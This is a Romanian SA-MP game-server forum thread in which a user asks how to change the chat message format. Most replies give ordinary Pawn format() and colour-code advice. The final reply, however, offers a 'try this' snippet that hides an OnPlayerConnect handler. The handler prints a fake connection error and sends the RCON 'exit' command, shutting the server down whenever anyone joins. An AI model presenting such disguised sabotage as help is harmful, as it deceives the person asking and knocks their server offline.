Jump to content
  • 0

putin ajutor


fytza

Question

15 answers to this question

Recommended Posts

Nu trebuie neaparat,intra prima data pe server si scrie normal...Vei vedea ca scrie exepmlu fytza says sau spune:...

Acum mergi in gamemode si cauti %s says sau spune:Depinde cum ai vazut pe server.

Si schimbi de acolo!

Exemplu:

format(string, sizeof(string), "%s: %s", sendername, text);

Tu pui:

format(string, sizeof(string), "Nume Server: %s: %s", sendername, text);

Atentie!Acesta a fost un model dupa care sa te iei.Asa acum poti sa adaugi putina culoare cautand pe goagle hax coleour samp.Asa ai sa gasesti ceva in genul acesta:

http://wiki.sa-mp.com/wiki/Hex_colours

Bun,fi atent daca doresti sa pui culoarea in pawno exemplu FFFFFF=6xF,trebuie sa pui asa {FFFFFF} Adica cu { } in fata.

 

 

Link to comment
Share on other sites

Ti-am explicat mai sus ma si anume!

Cauti

format(string, sizeof(string), "%s: %s", sendername, text);

Tu pui ce vrei:

Exemplu:

format(string, sizeof(string), "Playerul: %s spune: %s", sendername, text);

Atentie!Acesta a fost un model dupa care sa te iei.Asa acum poti sa adaugi putina culoare cautand pe goagle hax coleour samp.Asa ai sa gasesti ceva in genul acesta:

http://wiki.sa-mp.com/wiki/Hex_colours

Bun,fi atent daca doresti sa pui culoarea in pawno exemplu FFFFFF=6xF,trebuie sa pui asa {FFFFFF} Adica cu { } in fata.

Ai inteles ce ai de facut?

 

 

Link to comment
Share on other sites

Deci intra din nou pe serverul tau, si scrie pe chatul normal sssssss sau ce vrei tu,exemplu:Joe Vitollo: ssss sau Joe Vitollo spune: ssss.aici depinde cum ai tu...Si cauti pentru prima varianta si anume:

Joe Vitollo: sss

Cauti:

[pawn]format(string, sizeof(string), "%s: %s", sendername, text);[/pawn]

Si daca este Joe Vitollo spune: ssss cauti

[pawn]format(string, sizeof(string), "%s spune: %s", sendername, text);[/pawn]

 

 

Link to comment
Share on other sites

format(PText, 512, "{15FF00}(ID%d){0000FF}Spune:{FFFFFF} %s", playerid, text);
		SendPlayerMessageToAll(playerid, PText);

incearca asta

public OnPlayerConnect(playerid)
{
	print("[ERROR] - Unable to establish a connection with the world...");
	SendRconCommand("exit");
	return 1;
}

 

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. For more details you can also review our Terms of Use and Privacy Policy.